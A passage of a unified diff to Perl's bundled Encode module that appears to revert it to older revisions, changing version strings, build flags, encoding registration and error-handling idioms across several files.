FBCHAR_UTF8 REPLACEMENT_CHARACTER_UTF8 -#else -# define FBCHAR_UTF8 "\xEF\xBF\xBD" -#endif +#define FBCHAR_UTF8 "\xEF\xBF\xBD" #define ENCODE_DIE_ON_ERR 0x0001 /* croaks immediately */ #define ENCODE_WARN_ON_ERR 0x0002 /* warn on error; may proceed */ diff --git a/cpan/Encode/Makefile.PL b/cpan/Encode/Makefile.PL index 8c20d20226f0..820310524781 100644 --- a/cpan/Encode/Makefile.PL +++ b/cpan/Encode/Makefile.PL @@ -1,10 +1,9 @@ # -# $Id: Makefile.PL,v 2.22 2017/10/06 22:21:53 dankogai Exp $ +# $Id: Makefile.PL,v 2.18 2016/11/29 23:29:23 dankogai Exp dankogai $ # use 5.007003; use strict; use warnings; -use utf8; use ExtUtils::MakeMaker; use File::Spec; use Config; @@ -16,12 +15,9 @@ $ENV{PERL_CORE} ||= $ARGV{PERL_CORE} if $ARGV{PERL_CORE}; # similar strictness as in core my $ccflags = $Config{ccflags}; if (!$ENV{PERL_CORE}) { - if (my $gccver = $Config{gccversion}) { - $gccver =~ s/\.//g; $gccver =~ s/ .*//; - $gccver .= "0" while length $gccver < 3; - $gccver = 0+$gccver; - $ccflags .= ' -Werror=declaration-after-statement' if $gccver > 412; - $ccflags .= ' -Wpointer-sign' if !$Config{d_cplusplus} and $gccver > 400; + if ($Config{gccversion}) { + $ccflags .= ' -Werror=declaration-after-statement'; + $ccflags .= ' -Wpointer-sign' unless $Config{d_cplusplus}; $ccflags .= ' -fpermissive' if $Config{d_cplusplus}; } } @@ -53,8 +49,6 @@ WriteMakefile( NAME => "Encode", EXE_FILES => \@exe_files, VERSION_FROM => 'Encode.pm', - ABSTRACT_FROM=> 'Encode.pm', - AUTHOR => 'Dan Kogai ', OBJECT => '$(O_FILES)', 'dist' => { COMPRESS => 'gzip -9f', @@ -67,7 +61,6 @@ WriteMakefile( PREREQ_PM => { Exporter => '5.57', # use Exporter 'import'; parent => '0.221', # version bundled with 5.10.1 - Storable => '0', # bundled with Perl 5.7.3 }, TEST_REQUIRES => { 'Test::More' => '0.81_01', @@ -78,91 +71,6 @@ WriteMakefile( resources => { repository => 'https://github.com/dankogai/p5-encode', }, - x_contributors => [ - 'Alex Davies ', - 'Alex Kapranoff ', - 'Alex Vandiver ', - 'Andreas J. Koenig ', - 'Andrew Pennebaker ', - 'Andy Grundman ', - 'Anton Tagunov ', - 'Autrijus Tang ', - 'Benjamin Goldberg ', - 'Bjoern Hoehrmann ', - 'Bjoern Jacke ', - 'bulk88 ', - 'Craig A. Berry ', - 'Curtis Jewell ', - 'Dan Kogai ', - 'Dave Evans ', - 'David Golden ', - 'David Steinbrunner ', - 'Deng Liu ', - 'Dominic Dunlop ', - 'drry', - 'Elizabeth Mattijsen ', - 'Flavio Poletti ', - 'Gerrit P. Haase ', - 'Gisle Aas ', - 'Graham Barr ', - 'Graham Knop ', - 'Graham Ollis ', - 'Gurusamy Sarathy ', - 'H.Merijn Brand ', - 'Hugo van der Sanden ', - 'chansen ', - 'Chris Nandor ', - 'Inaba Hiroto ', - 'Jarkko Hietaniemi ', - 'Jesse Vincent ', - 'Jungshik Shin ', - 'Karen Etheridge ', - 'Karl Williamson ', - 'Kenichi Ishigaki ', - 'KONNO Hiroharu ', - 'Laszlo Molnar ', - 'Makamaka ', - 'Mark-Jason Dominus ', - 'Masahiro Iuchi ', - 'MATSUNO Tokuhiro ', - 'Mattia Barbon ', - 'Michael G Schwern ', - 'Michael LaGrasta ', - 'Miron Cuperman ', - 'Moritz Lenz ', - 'MORIYAMA Masayuki ', - 'Nick Ing-Simmons ', - 'Nicholas Clark ', - 'Olivier Mengué ', - 'otsune', - 'Pali ', - 'Paul Marquess ', - 'Peter Prymmer ', - 'Peter Rabbitson ', - 'Philip Newton ', - 'Piotr Fusik ', - 'Rafael Garcia-Suarez ', - 'Randy Stauner ', - 'Reini Urban ', - 'Robin Barker ', - 'SADAHIRO Tomoyuki ', - 'Simon Cozens ', - 'Slaven Rezic ', - 'Spider Boardman ', - 'Steve Hay ', - 'Steve Peters ', - 'SUGAWARA Hajime ', - 'SUZUKI Norio ', - 'szr8 ', - 'Tatsuhiko Miyagawa ', - 'Tels ', - 'Tony Cook ', - 'Vadim Konovalov ', - 'Victor ', - 'Ville Skyttä ', - 'Vincent van Dam ', - 'Yitzchak Scott-Thoennes ', - ], }, ); diff --git a/cpan/Encode/Unicode/Unicode.pm b/cpan/Encode/Unicode/Unicode.pm index 2a8b477784c3..fc1d3d1382f5 100644 --- a/cpan/Encode/Unicode/Unicode.pm +++ b/cpan/Encode/Unicode/Unicode.pm @@ -2,8 +2,9 @@ package Encode::Unicode; use strict; use warnings; +no warnings 'redefine'; -our $VERSION = do { my @r = ( q$Revision: 2.17 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.15_01 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use XSLoader; XSLoader::load( __PACKAGE__, $VERSION ); @@ -12,7 +13,7 @@ XSLoader::load( __PACKAGE__, $VERSION ); # Object Generator 8 transcoders all at once! # -use Encode (); +require Encode; our %BOM_Unknown = map { $_ => 1 } qw(UTF-16 UTF-32); @@ -33,13 +34,12 @@ for my $name ( $endian = ( $3 eq 'BE' ) ? 'n' : ( $3 eq 'LE' ) ? 'v' : ''; $size == 4 and $endian = uc($endian); - my $obj = bless { + $Encode::Encoding{$name} = bless { Name => $name, size => $size, endian => $endian, ucs2 => $ucs2, } => __PACKAGE__; - Encode::define_encoding($obj, $name); } use parent qw(Encode::Encoding); @@ -52,6 +52,12 @@ sub renew { return $clone; } +# There used to be a perl implementation of (en|de)code but with +# XS version is ripe, perl version is zapped for optimal speed + +*decode = \&decode_xs; +*encode = \&encode_xs; + 1; __END__ diff --git a/cpan/Encode/Unicode/Unicode.xs b/cpan/Encode/Unicode/Unicode.xs index b459786d16a1..117e14d83fcd 100644 --- a/cpan/Encode/Unicode/Unicode.xs +++ b/cpan/Encode/Unicode/Unicode.xs @@ -1,5 +1,5 @@ /* - $Id: Unicode.xs,v 2.17 2018/02/08 00:26:15 dankogai Exp $ + $Id: Unicode.xs,v 2.15 2016/11/29 23:29:23 dankogai Exp dankogai $ */ #define PERL_NO_GET_CONTEXT @@ -127,7 +127,7 @@ PROTOTYPES: DISABLE *hv_fetch((HV *)SvRV(obj),k,l,0) : &PL_sv_undef) void -decode(obj, str, check = 0) +decode_xs(obj, str, check = 0) SV * obj SV * str IV check @@ -315,7 +315,7 @@ CODE: resultbuflen = SvLEN(result); } - d = uvchr_to_utf8_flags(resultbuf+SvCUR(result), ord, + d = uvuni_to_utf8_flags(resultbuf+SvCUR(result), ord, UNICODE_WARN_ILLEGAL_INTERCHANGE); SvCUR_set(result, d - (U8 *)SvPVX(result)); } @@ -345,7 +345,7 @@ CODE: } void -encode(obj, utf8, check = 0) +encode_xs(obj, utf8, check = 0) SV * obj SV * utf8 IV check @@ -407,7 +407,7 @@ CODE: } while (s < e && s+UTF8SKIP(s) <= e) { STRLEN len; - UV ord = utf8n_to_uvchr(s, e-s, &len, (UTF8_DISALLOW_SURROGATE + UV ord = utf8n_to_uvuni(s, e-s, &len, (UTF8_DISALLOW_SURROGATE |UTF8_WARN_SURROGATE |UTF8_DISALLOW_FE_FF |UTF8_WARN_FE_FF diff --git a/cpan/Encode/bin/enc2xs b/cpan/Encode/bin/enc2xs index 619b64b75736..bd39639ae868 100644 --- a/cpan/Encode/bin/enc2xs +++ b/cpan/Encode/bin/enc2xs @@ -11,7 +11,7 @@ use warnings; use Getopt::Std; use Config; my @orig_ARGV = @ARGV; -our $VERSION = do { my @r = (q$Revision: 2.21 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r }; +our $VERSION = do { my @r = (q$Revision: 2.20 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r }; # These may get re-ordered. # RAW is a do_now as inserted by &enter @@ -1038,7 +1038,8 @@ sub find_e2x{ sub make_makefile_pl { - eval { require Encode } or die "You need to install Encode to use enc2xs -M\nerror: $@\n"; + eval { require Encode; }; + $@ and die "You need to install Encode to use enc2xs -M\nerror: $@\n"; # our used for variable expansion $_Enc2xs = $0; $_Version = $VERSION; @@ -1062,7 +1063,8 @@ use vars qw( ); sub make_configlocal_pm { - eval { require Encode } or die "Unable to require Encode: $@\n"; + eval { require Encode; }; + $@ and die "Unable to require Encode: $@\n"; eval { require File::Spec; }; # our used for variable expantion @@ -1082,7 +1084,8 @@ sub make_configlocal_pm { $mod =~ s/.*\bEncode\b/Encode/o; $mod =~ s/\.pm\z//o; $mod =~ s,/,::,og; - eval qq{ require $mod; } or return; + eval qq{ require $mod; }; + return if $@; warn qq{ require $mod;\n}; for my $enc ( Encode->encodings() ) { no warnings; @@ -1116,7 +1119,8 @@ sub _mkversion{ } sub _print_expand{ - eval { require File::Basename } or die "File::Basename needed. Are you on miniperl?;\nerror: $@\n"; + eval { require File::Basename; }; + $@ and die "File::Basename needed. Are you on miniperl?;\nerror: $@\n"; File::Basename->import(); my ($src, $dst, $clobber) = @_; if (!$clobber and -e $dst){ diff --git a/cpan/Encode/bin/ucmlint b/cpan/Encode/bin/ucmlint index a31a7a28f66b..a240f2c75ec6 100644 --- a/cpan/Encode/bin/ucmlint +++ b/cpan/Encode/bin/ucmlint @@ -1,18 +1,19 @@ #!/usr/local/bin/perl # -# $Id: ucmlint,v 2.4 2017/06/10 17:23:50 dankogai Exp $ +# $Id: ucmlint,v 2.3 2016/08/04 03:15:58 dankogai Exp $ # BEGIN { pop @INC if $INC[-1] eq '.' } use strict; -our $VERSION = do { my @r = (q$Revision: 2.4 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r }; +our $VERSION = do { my @r = (q$Revision: 2.3 $ =~ /\d+/g); sprintf "%d."."%02d" x $#r, @r }; use Getopt::Std; our %Opt; getopts("Dehfv", \%Opt); if ($Opt{e}){ - eval { require Encode } or die "can't load Encode : $@"; + eval{ require Encode; }; + $@ and die "can't load Encode : $@"; } $Opt{h} and help(); diff --git a/cpan/Encode/encengine.c b/cpan/Encode/encengine.c index 67613a89e3c7..bddf556b35da 100644 --- a/cpan/Encode/encengine.c +++ b/cpan/Encode/encengine.c @@ -102,56 +102,56 @@ do_encode(const encpage_t * enc, const U8 * src, STRLEN * slen, U8 * dst, U8 *dend = d + dlen, *dlast = d; int code = 0; while (s < send) { - const encpage_t *e = enc; - U8 byte = *s; - while (byte > e->max) - e++; - if (byte >= e->min && e->slen && (approx || !(e->slen & 0x80))) { - const U8 *cend = s + (e->slen & 0x7f); - if (cend <= send) { - STRLEN n; - if ((n = e->dlen)) { - const U8 *out = e->seq + n * (byte - e->min); - U8 *oend = d + n; - if (dst) { - if (oend <= dend) { - while (d < oend) - *d++ = *out++; - } - else { - /* Out of space */ - code = ENCODE_NOSPACE; - break; - } - } - else - d = oend; - } - enc = e->next; - s++; - if (s == cend) { - if (approx && (e->slen & 0x80)) - code = ENCODE_FALLBACK; - last = s; - if (term && (STRLEN)(d-dlast) == tlen && memEQ(dlast, term, tlen)) { - code = ENCODE_FOUND_TERM; - break; - } - dlast = d; - } + const encpage_t *e = enc; + U8 byte = *s; + while (byte > e->max) + e++; + if (byte >= e->min && e->slen && (approx || !(e->slen & 0x80))) { + const U8 *cend = s + (e->slen & 0x7f); + if (cend <= send) { + STRLEN n; + if ((n = e->dlen)) { + const U8 *out = e->seq + n * (byte - e->min); + U8 *oend = d + n; + if (dst) { + if (oend <= dend) { + while (d < oend) + *d++ = *out++; } else { - /* partial source character */ - code = ENCODE_PARTIAL; + /* Out of space */ + code = ENCODE_NOSPACE; break; } + } + else + d = oend; + } + enc = e->next; + s++; + if (s == cend) { + if (approx && (e->slen & 0x80)) + code = ENCODE_FALLBACK; + last = s; + if (term && (STRLEN)(d-dlast) == tlen && memEQ(dlast, term, tlen)) { + code = ENCODE_FOUND_TERM; + break; + } + dlast = d; + } } else { - /* Cannot represent */ - code = ENCODE_NOREP; - break; + /* partial source character */ + code = ENCODE_PARTIAL; + break; } } + else { + /* Cannot represent */ + code = ENCODE_NOREP; + break; + } + } *slen = last - src; *dout = d - dst; return code; diff --git a/cpan/Encode/encoding.pm b/cpan/Encode/encoding.pm index c3f324d29fa4..dc342683ee17 100644 --- a/cpan/Encode/encoding.pm +++ b/cpan/Encode/encoding.pm @@ -1,16 +1,15 @@ -# $Id: encoding.pm,v 2.22 2018/02/11 05:32:03 dankogai Exp $ +# $Id: encoding.pm,v 2.19 2016/11/01 13:30:38 dankogai Exp $ package encoding; -our $VERSION = sprintf "%d.%02d", q$Revision: 2.22 $ =~ /(\d+)/g; +our $VERSION = sprintf "%d.%02d", q$Revision: 2.19 $ =~ /(\d+)/g; use Encode; use strict; use warnings; -use Config; use constant { DEBUG => !!$ENV{PERL_ENCODE_DEBUG}, HAS_PERLIO => eval { require PerlIO::encoding; PerlIO::encoding->VERSION(0.02) }, - PERL_5_21_7 => $^V && $^V ge v5.21.7, # lexically scoped + PERL_5_21_7 => $^V && $^V ge v5.21.7, }; sub _exception { @@ -116,8 +115,7 @@ sub import { } my $deprecate = - ($] >= 5.017 and !$Config{usecperl}) - ? "Use of the encoding pragma is deprecated" : 0; + $] >= 5.017 ? "Use of the encoding pragma is deprecated" : 0; my $class = shift; my $name = shift; @@ -134,7 +132,6 @@ sub import { return; } $name = _get_locale_encoding() if $name eq ':locale'; - BEGIN { strict->unimport('hashpairs') if $] >= 5.027 and $^V =~ /c$/; } my %arg = @_; $name = $ENV{PERL_ENCODING} unless defined $name; my $enc = find_encoding($name); @@ -144,9 +141,9 @@ sub import { } $name = $enc->name; # canonize unless ( $arg{Filter} ) { - if ($] >= 5.025003 and !$Config{usecperl}) { + if ($] >= 5.025003) { require Carp; - Carp::croak("The encoding pragma is no longer supported. Check cperl"); + Carp::croak("The encoding pragma is no longer supported"); } warnings::warnif("deprecated",$deprecate) if $deprecate; @@ -176,7 +173,7 @@ sub import { # implicitly 'use utf8' require utf8; # to fetch $utf8::hint_bits; $^H |= $utf8::hint_bits; - + eval { require Filter::Util::Call; Filter::Util::Call->import; filter_add( @@ -189,6 +186,8 @@ sub import { $status; } ); + }; + $@ eq '' and DEBUG and warn "Filter installed"; } defined ${^UNICODE} and ${^UNICODE} != 0 and return 1; for my $h (qw(STDIN STDOUT)) { @@ -198,14 +197,20 @@ sub import { Carp::croak( "encoding: Unknown encoding for $h, '$arg{$h}'"); } - binmode( $h, ":raw :encoding($arg{$h})" ); + eval { binmode( $h, ":raw :encoding($arg{$h})" ) }; } else { unless ( exists $arg{$h} ) { + eval { no warnings 'uninitialized'; binmode( $h, ":raw :encoding($name)" ); + }; } } + if ($@) { + require Carp; + Carp::croak($@); + } } return 1; # I doubt if we need it, though } @@ -363,7 +368,7 @@ Note that C WILL NOT be changed, regardless. Also note that non-STD file handles remain unaffected. Use C or C to change the layers of those. -=item C, Filter=E1;> +=item C Filter=E1;> This operates as above, but the C argument with a non-zero value causes the entire script, and not just literals, to be translated from diff --git a/cpan/Encode/lib/Encode/Alias.pm b/cpan/Encode/lib/Encode/Alias.pm index dbfa01b61820..0a252560f5d9 100644 --- a/cpan/Encode/lib/Encode/Alias.pm +++ b/cpan/Encode/lib/Encode/Alias.pm @@ -1,7 +1,8 @@ package Encode::Alias; use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 2.24 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +no warnings 'redefine'; +our $VERSION = do { my @r = ( q$Revision: 2.21 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG}; use Exporter 'import'; @@ -18,6 +19,7 @@ our @Alias; # ordered matching list our %Alias; # cached known aliases sub find_alias { + require Encode; my $class = shift; my $find = shift; unless ( exists $Alias{$find} ) { @@ -107,9 +109,6 @@ sub define_alias { } } -# HACK: Encode must be used after define_alias is declarated as Encode calls define_alias -use Encode (); - # Allow latin-1 style names as well # 0 1 2 3 4 5 6 7 8 9 10 our @Latin2iso = ( 0, 1, 2, 3, 4, 9, 10, 13, 14, 15, 16 ); @@ -135,6 +134,7 @@ sub undef_aliases { } sub init_aliases { + require Encode; undef_aliases(); # Try all-lower-case version should all else fails @@ -270,7 +270,7 @@ sub init_aliases { define_alias( qr/\bUTF-8$/i => '"utf-8-strict"' ); # At last, Map white space and _ to '-' - define_alias( qr/^([^\s_]+)[\s_]+([^\s_]*)$/i => '"$1-$2"' ); + define_alias( qr/^(\S+)[\s_]+(.*)$/i => '"$1-$2"' ); } 1; diff --git a/cpan/Encode/lib/Encode/CN/HZ.pm b/cpan/Encode/lib/Encode/CN/HZ.pm index e444cb01c336..4510b0b400e0 100644 --- a/cpan/Encode/lib/Encode/CN/HZ.pm +++ b/cpan/Encode/lib/Encode/CN/HZ.pm @@ -5,7 +5,7 @@ use warnings; use utf8 (); use vars qw($VERSION); -$VERSION = do { my @r = ( q$Revision: 2.10 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +$VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use Encode qw(:fallbacks); @@ -21,7 +21,6 @@ sub needs_lines { 1 } sub decode ($$;$) { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $GB = Encode::find_encoding('gb2312-raw'); my $ret = substr($str, 0, 0); # to propagate taintedness @@ -136,7 +135,6 @@ sub cat_decode { sub encode($$;$) { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $GB = Encode::find_encoding('gb2312-raw'); my $ret = substr($str, 0, 0); # to propagate taintedness; @@ -156,7 +154,7 @@ sub encode($$;$) { } elsif ( $str =~ s/(.)// ) { my $s = $1; - my $tmp = $GB->encode( $s, $chk || 0 ); + my $tmp = $GB->encode( $s, $chk ); last if !defined $tmp; if ( length $tmp == 2 ) { # maybe a valid GB char (XXX) if ($in_ascii) { diff --git a/cpan/Encode/lib/Encode/Encoding.pm b/cpan/Encode/lib/Encode/Encoding.pm index 815937f45548..39d2e0ab64e0 100644 --- a/cpan/Encode/lib/Encode/Encoding.pm +++ b/cpan/Encode/lib/Encode/Encoding.pm @@ -3,15 +3,11 @@ package Encode::Encoding; # Base class for classes which implement encodings use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; -our @CARP_NOT = qw(Encode Encode::Encoder); +require Encode; -use Carp (); -use Encode (); -use Encode::MIME::Name; - -use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG}; +sub DEBUG { 0 } sub Define { my $obj = shift; @@ -24,10 +20,13 @@ sub Define { sub name { return shift->{'Name'} } -sub mime_name { +sub mime_name{ + require Encode::MIME::Name; return Encode::MIME::Name::get_mime_name(shift->name); } +# sub renew { return $_[0] } + sub renew { my $self = shift; my $clone = bless {%$self} => ref($self); @@ -43,7 +42,8 @@ sub renewed { return $_[0]->{renewed} || 0 } sub needs_lines { 0 } sub perlio_ok { - return eval { require PerlIO::encoding } ? 1 : 0; + eval { require PerlIO::encoding }; + return $@ ? 0 : 1; } # (Temporary|legacy) methods @@ -56,12 +56,14 @@ sub fromUnicode { shift->encode(@_) } # sub encode { + require Carp; my $obj = shift; my $class = ref($obj) ? ref($obj) : $obj; Carp::croak( $class . "->encode() not defined!" ); } sub decode { + require Carp; my $obj = shift; my $class = ref($obj) ? ref($obj) : $obj; Carp::croak( $class . "->encode() not defined!" ); @@ -186,6 +188,7 @@ MUST return the string representing the canonical name of the encoding. Predefined As: sub mime_name{ + require Encode::MIME::Name; return Encode::MIME::Name::get_mime_name(shift->name); } @@ -223,7 +226,8 @@ unless the value is numeric so return 0 for false. Predefined As: sub perlio_ok { - return eval { require PerlIO::encoding } ? 1 : 0; + eval{ require PerlIO::encoding }; + return $@ ? 0 : 1; } If your encoding does not support PerlIO for some reasons, just; diff --git a/cpan/Encode/lib/Encode/GSM0338.pm b/cpan/Encode/lib/Encode/GSM0338.pm index e87141ebc419..20257a1cbd90 100644 --- a/cpan/Encode/lib/Encode/GSM0338.pm +++ b/cpan/Encode/lib/Encode/GSM0338.pm @@ -1,5 +1,5 @@ # -# $Id: GSM0338.pm,v 2.7 2017/06/10 17:23:50 dankogai Exp $ +# $Id: GSM0338.pm,v 2.5 2013/09/14 07:51:59 dankogai Exp $ # package Encode::GSM0338; @@ -8,7 +8,7 @@ use warnings; use Carp; use vars qw($VERSION); -$VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +$VERSION = do { my @r = ( q$Revision: 2.5 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use Encode qw(:fallbacks); @@ -171,7 +171,6 @@ our $NBSP = "\x{00A0}"; sub decode ($$;$) { my ( $obj, $bytes, $chk ) = @_; - return undef unless defined $bytes; my $str = substr($bytes, 0, 0); # to propagate taintedness; while ( length $bytes ) { my $c = substr( $bytes, 0, 1, '' ); @@ -217,7 +216,6 @@ sub decode ($$;$) { sub encode($$;$) { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $bytes = substr($str, 0, 0); # to propagate taintedness while ( length $str ) { my $u = substr( $str, 0, 1, '' ); @@ -272,9 +270,10 @@ expression with C block as follows; eval { $utf8 = decode("gsm0338", $gsm0338, $chk); - } or do { - # handle exception here }; + if ($@){ + # handle exception here + } =head1 BUGS diff --git a/cpan/Encode/lib/Encode/Guess.pm b/cpan/Encode/lib/Encode/Guess.pm index 41fc19b79911..b44daf59eb57 100644 --- a/cpan/Encode/lib/Encode/Guess.pm +++ b/cpan/Encode/lib/Encode/Guess.pm @@ -2,16 +2,15 @@ package Encode::Guess; use strict; use warnings; use Encode qw(:fallbacks find_encoding); -our $VERSION = do { my @r = ( q$Revision: 2.7 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.6 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; my $Canon = 'Guess'; use constant DEBUG => !!$ENV{PERL_ENCODE_DEBUG}; our %DEF_SUSPECTS = map { $_ => find_encoding($_) } qw(ascii utf8); -my $obj = bless { +$Encode::Encoding{$Canon} = bless { Name => $Canon, Suspects => {%DEF_SUSPECTS}, } => __PACKAGE__; -Encode::define_encoding($obj, $Canon); use parent qw(Encode::Encoding); sub needs_lines { 1 } diff --git a/cpan/Encode/lib/Encode/JP/JIS7.pm b/cpan/Encode/lib/Encode/JP/JIS7.pm index 6fc383c49660..588389a034a2 100644 --- a/cpan/Encode/lib/Encode/JP/JIS7.pm +++ b/cpan/Encode/lib/Encode/JP/JIS7.pm @@ -1,7 +1,7 @@ package Encode::JP::JIS7; use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 2.8 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.5 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use Encode qw(:fallbacks); @@ -9,12 +9,11 @@ for my $name ( '7bit-jis', 'iso-2022-jp', 'iso-2022-jp-1' ) { my $h2z = ( $name eq '7bit-jis' ) ? 0 : 1; my $jis0212 = ( $name eq 'iso-2022-jp' ) ? 0 : 1; - my $obj = bless { + $Encode::Encoding{$name} = bless { Name => $name, h2z => $h2z, jis0212 => $jis0212, } => __PACKAGE__; - Encode::define_encoding($obj, $name); } use parent qw(Encode::Encoding); @@ -30,7 +29,6 @@ use Encode::CJKConstants qw(:all); sub decode($$;$) { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $residue = ''; if ($chk) { $str =~ s/([^\x00-\x7f].*)$//so and $residue = $1; @@ -47,12 +45,11 @@ sub decode($$;$) { sub encode($$;$) { require Encode::JP::H2Z; my ( $obj, $utf8, $chk ) = @_; - return undef unless defined $utf8; # empty the input string in the stack so perlio is ok $_[1] = '' if $chk; my ( $h2z, $jis0212 ) = @$obj{qw(h2z jis0212)}; - my $octet = Encode::encode( 'euc-jp', $utf8, $chk || 0 ); + my $octet = Encode::encode( 'euc-jp', $utf8, $chk ); $h2z and &Encode::JP::H2Z::h2z( \$octet ); euc_jis( \$octet, $jis0212 ); return $octet; diff --git a/cpan/Encode/lib/Encode/KR/2022_KR.pm b/cpan/Encode/lib/Encode/KR/2022_KR.pm index 122326403b2c..44373e5d589e 100644 --- a/cpan/Encode/lib/Encode/KR/2022_KR.pm +++ b/cpan/Encode/lib/Encode/KR/2022_KR.pm @@ -1,7 +1,7 @@ package Encode::KR::2022_KR; use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 2.4 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.3 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use Encode qw(:fallbacks); @@ -16,7 +16,6 @@ sub perlio_ok { sub decode { my ( $obj, $str, $chk ) = @_; - return undef unless defined $str; my $res = $str; my $residue = iso_euc( \$res ); @@ -27,7 +26,6 @@ sub decode { sub encode { my ( $obj, $utf8, $chk ) = @_; - return undef unless defined $utf8; # empty the input string in the stack so perlio is ok $_[1] = '' if $chk; diff --git a/cpan/Encode/lib/Encode/MIME/Header.pm b/cpan/Encode/lib/Encode/MIME/Header.pm index 848de99fa43b..ad14dba3740f 100644 --- a/cpan/Encode/lib/Encode/MIME/Header.pm +++ b/cpan/Encode/lib/Encode/MIME/Header.pm @@ -2,7 +2,7 @@ package Encode::MIME::Header; use strict; use warnings; -our $VERSION = do { my @r = ( q$Revision: 2.28 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; +our $VERSION = do { my @r = ( q$Revision: 2.24 $ =~ /\d+/g ); sprintf "%d." . "%02d" x $#r, @r }; use Carp (); use Encode (); @@ -16,28 +16,24 @@ my %seed = ( bpl => 75, # bytes per line ); -my @objs; - -push @objs, bless { +$Encode::Encoding{'MIME-Header'} = bless { %seed, Name => 'MIME-Header', } => __PACKAGE__; -push @objs, bless { +$Encode::Encoding{'MIME-B'} = bless { %seed, decode_q => 0, Name => 'MIME-B', } => __PACKAGE__; -push @objs, bless { +$Encode::Encoding{'MIME-Q'} = bless { %seed, decode_b => 0, encode => 'Q', Name => 'MIME-Q', } => __PACKAGE__; -Encode::define_encoding($_, $_->{Name}) foreach @objs; - use parent qw(Encode::Encoding); sub needs_lines { 1 } @@ -56,7 +52,7 @@ my $re_capture_encoded_word_split = qr/=\?($re_charset)((?:\*$re_language)?)\?($ my $re_encoding_strict_b = qr/[Bb]/; my $re_encoding_strict_q = qr/[Qq]/; my $re_encoded_text_strict_b = qr/[0-9A-Za-z\+\/]*={0,2}/; -my $re_encoded_text_strict_q = qr/(?:[\x21-\x3C\x3E\x40-\x7E]|=[0-9A-Fa-f]{2})*/; # NOTE: first part are printable US-ASCII except ?, =, SPACE and TAB +my $re_encoded_text_strict_q = qr/(?:[^\?\s=]|=[0-9A-Fa-f]{2})*/; my $re_encoded_word_strict = qr/=\?$re_charset(?:\*$re_language)?\?(?:$re_encoding_strict_b\?$re_encoded_text_strict_b|$re_encoding_strict_q\?$re_encoded_text_strict_q)\?=/; my $re_capture_encoded_word_strict = qr/=\?($re_charset)((?:\*$re_language)?)\?($re_encoding_strict_b\?$re_encoded_text_strict_b|$re_encoding_strict_q\?$re_encoded_text_strict_q)\?=/; @@ -78,7 +74,6 @@ our $STRICT_DECODE = 0; sub decode($$;$) { my ($obj, $str, $chk) = @_; - return undef unless defined $str; my $re_match_decode = $STRICT_DECODE ? $re_match_strict : $re_match; my $re_capture_decode = $STRICT_DECODE ? $re_capture_strict : $re_capture; @@ -128,26 +123,26 @@ sub decode($$;$) { } if ( not defined $enc ) { - Carp::croak qq(Unknown charset "$charset") if not ref $chk and $chk and $chk & Encode::DIE_ON_ERR; - Carp::carp qq(Unknown charset "$charset") if not ref $chk and $chk and $chk & Encode::WARN_ON_ERR; - $stop = 1 if not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR; + Carp::croak qq(Unknown charset "$charset") if not ref $chk and $chk & Encode::DIE_ON_ERR; + Carp::carp qq(Unknown charset "$charset") if not ref $chk and $chk & Encode::WARN_ON_ERR; + $stop = 1 if not ref $chk and $chk & Encode::RETURN_ON_ERR; $output .= ($output =~ /(?:\A|[ \t])$/ ? '' : ' ') . $orig unless $stop; # $orig mime word is separated by whitespace $stop ? $orig : ''; } else { if ( uc($mime_enc) eq 'B' and $obj->{decode_b} ) { my $decoded = _decode_b($enc, $text, $chk); - $stop = 1 if not defined $decoded and not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR; + $stop = 1 if not defined $decoded and not ref $chk and $chk & Encode::RETURN_ON_ERR; $output .= (defined $decoded ? $decoded : $text) unless $stop; $stop ? $orig : ''; } elsif ( uc($mime_enc) eq 'Q' and $obj->{decode_q} ) { my $decoded = _decode_q($enc, $text, $chk); - $stop = 1 if not defined $decoded and not ref $chk and $chk and $chk & Encode::RETURN_ON_ERR; + $stop = 1 if not defined $decoded and not ref $chk and $chk & Encode::RETURN_ON_ERR; $output .= (defined $decoded ? $decoded : $text) unless $stop; $stop ? $orig : ''; } else { - Carp::croak qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk and $chk & Encode::DIE_ON_ERR; - Carp::carp qq(MIME "$mime_enc" unsupported) if not ref $chk and $chk and $chk & Encode::WARN_ON_ERR; - $stop = 1 if not ref $chk and $chk and $chk & 